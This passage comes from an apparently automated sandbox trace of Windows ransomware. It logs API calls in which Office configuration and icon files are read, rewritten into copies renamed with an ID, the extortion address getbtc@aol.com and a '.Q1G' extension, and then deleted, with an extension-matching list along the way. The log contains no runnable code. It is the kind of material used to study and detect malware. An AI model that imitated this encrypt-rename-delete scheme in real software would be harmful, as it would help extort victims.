dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.452] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.452] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.452] GetLastError () returned 0x0 [0263.452] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x348, lpOverlapped=0x0) returned 1 [0263.464] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x350, lpOverlapped=0x0) returned 1 [0263.465] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.465] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.465] SetEndOfFile (hFile=0x1f8) returned 1 [0263.465] CloseHandle (hObject=0x1f8) returned 1 [0263.465] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.465] SetEndOfFile (hFile=0x3c4) returned 1 [0263.467] CloseHandle (hObject=0x3c4) returned 1 [0263.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg")) returned 1 [0263.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.468] lstrlenW (lpString=".doc") returned 4 [0263.468] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.468] lstrlenW (lpString=".docx") returned 5 [0263.468] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0263.468] lstrlenW (lpString=".pdf") returned 4 [0263.468] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.468] lstrlenW (lpString=".xls") returned 4 [0263.468] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.468] lstrlenW (lpString=".xlsx") returned 5 [0263.468] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0263.468] lstrlenW (lpString=".ppt") returned 4 [0263.468] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.468] lstrlenW (lpString=".zip") returned 4 [0263.468] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.468] lstrlenW (lpString=".rar") returned 4 [0263.468] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.468] lstrlenW (lpString=".bz2") returned 4 [0263.468] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.469] lstrlenW (lpString=".7z") returned 3 [0263.469] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.469] lstrlenW (lpString=".dbf") returned 4 [0263.469] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.469] lstrlenW (lpString=".1cd") returned 4 [0263.469] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.469] lstrlenW (lpString=".jpg") returned 4 [0263.469] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.469] lstrlenW (lpString=".doc") returned 4 [0263.469] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString=".docx") returned 5 [0263.469] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0263.469] lstrlenW (lpString=".pdf") returned 4 [0263.469] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString=".xls") returned 4 [0263.469] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString=".xlsx") returned 5 [0263.469] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0263.469] lstrlenW (lpString=".ppt") returned 4 [0263.469] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.469] lstrlenW (lpString=".zip") returned 4 [0263.469] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString=".rar") returned 4 [0263.469] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.469] lstrlenW (lpString=".bz2") returned 4 [0263.469] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.469] lstrlenW (lpString=".7z") returned 3 [0263.469] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.470] lstrlenW (lpString=".dbf") returned 4 [0263.470] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.470] lstrlenW (lpString=".1cd") returned 4 [0263.470] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0263.470] lstrlenW (lpString=".jpg") returned 4 [0263.470] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.470] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.470] lstrlenW (lpString="SECREC.CFG") returned 10 [0263.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.483] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=664) returned 1 [0263.483] CloseHandle (hObject=0x3c4) returned 1 [0263.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg")) returned 0x20 [0263.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.484] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.484] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.486] GetLastError () returned 0x0 [0263.486] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x298, lpOverlapped=0x0) returned 1 [0263.487] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0263.488] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.488] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0263.488] SetEndOfFile (hFile=0x1f8) returned 1 [0263.488] CloseHandle (hObject=0x1f8) returned 1 [0263.488] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.488] SetEndOfFile (hFile=0x3c4) returned 1 [0263.490] CloseHandle (hObject=0x3c4) returned 1 [0263.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg")) returned 1 [0263.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.677] lstrlenW (lpString=".doc") returned 4 [0263.678] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString=".docx") returned 5 [0263.678] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0263.678] lstrlenW (lpString=".pdf") returned 4 [0263.678] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString=".xls") returned 4 [0263.678] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString=".xlsx") returned 5 [0263.678] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0263.678] lstrlenW (lpString=".ppt") returned 4 [0263.678] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.678] lstrlenW (lpString=".zip") returned 4 [0263.678] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString=".rar") returned 4 [0263.678] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString=".bz2") returned 4 [0263.678] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.678] lstrlenW (lpString=".7z") returned 3 [0263.678] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.678] lstrlenW (lpString=".dbf") returned 4 [0263.678] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.678] lstrlenW (lpString=".1cd") returned 4 [0263.678] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.678] lstrlenW (lpString=".jpg") returned 4 [0263.678] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.678] lstrlenW (lpString=".doc") returned 4 [0263.678] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.678] lstrlenW (lpString=".docx") returned 5 [0263.678] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0263.678] lstrlenW (lpString=".pdf") returned 4 [0263.679] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.679] lstrlenW (lpString=".xls") returned 4 [0263.679] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.679] lstrlenW (lpString=".xlsx") returned 5 [0263.679] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0263.679] lstrlenW (lpString=".ppt") returned 4 [0263.679] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.679] lstrlenW (lpString=".zip") returned 4 [0263.679] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.679] lstrlenW (lpString=".rar") returned 4 [0263.679] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.679] lstrlenW (lpString=".bz2") returned 4 [0263.679] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.679] lstrlenW (lpString=".7z") returned 3 [0263.679] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.679] lstrlenW (lpString=".dbf") returned 4 [0263.679] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.679] lstrlenW (lpString=".1cd") returned 4 [0263.679] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0263.679] lstrlenW (lpString=".jpg") returned 4 [0263.679] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.679] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.679] lstrlenW (lpString="SIGNL.ICO") returned 9 [0263.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.699] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1078) returned 1 [0263.699] CloseHandle (hObject=0x39c) returned 1 [0263.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico")) returned 0x20 [0263.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.710] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.710] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.711] GetLastError () returned 0x0 [0263.711] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x436, lpOverlapped=0x0) returned 1 [0263.774] WriteFile (in: hFile=0x37c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.785] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.785] WriteFile (in: hFile=0x37c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0263.785] SetEndOfFile (hFile=0x37c) returned 1 [0263.785] CloseHandle (hObject=0x37c) returned 1 [0263.785] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.785] SetEndOfFile (hFile=0x3a0) returned 1 [0263.787] CloseHandle (hObject=0x3a0) returned 1 [0263.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico")) returned 1 [0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.788] lstrlenW (lpString=".doc") returned 4 [0263.788] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.788] lstrlenW (lpString=".docx") returned 5 [0263.788] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.788] lstrlenW (lpString=".pdf") returned 4 [0263.788] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.788] lstrlenW (lpString=".xls") returned 4 [0263.788] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.788] lstrlenW (lpString=".xlsx") returned 5 [0263.788] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.788] lstrlenW (lpString=".ppt") returned 4 [0263.788] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.788] lstrlenW (lpString=".zip") returned 4 [0263.788] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.788] lstrlenW (lpString=".rar") returned 4 [0263.788] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.788] lstrlenW (lpString=".bz2") returned 4 [0263.788] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.788] lstrlenW (lpString=".7z") returned 3 [0263.788] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString=".dbf") returned 4 [0263.789] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString=".1cd") returned 4 [0263.789] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString=".jpg") returned 4 [0263.789] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString=".doc") returned 4 [0263.789] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.789] lstrlenW (lpString=".docx") returned 5 [0263.789] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.789] lstrlenW (lpString=".pdf") returned 4 [0263.789] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.789] lstrlenW (lpString=".xls") returned 4 [0263.789] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.789] lstrlenW (lpString=".xlsx") returned 5 [0263.789] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.789] lstrlenW (lpString=".ppt") returned 4 [0263.789] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString=".zip") returned 4 [0263.789] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.789] lstrlenW (lpString=".rar") returned 4 [0263.789] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.789] lstrlenW (lpString=".bz2") returned 4 [0263.789] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.789] lstrlenW (lpString=".7z") returned 3 [0263.789] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString=".dbf") returned 4 [0263.789] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.789] lstrlenW (lpString=".1cd") returned 4 [0263.789] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0263.790] lstrlenW (lpString=".jpg") returned 4 [0263.790] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.790] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.790] lstrlenW (lpString="TASK.CFG") returned 8 [0263.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.860] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=768) returned 1 [0263.861] CloseHandle (hObject=0x3c4) returned 1 [0263.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg")) returned 0x20 [0263.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.913] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.913] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 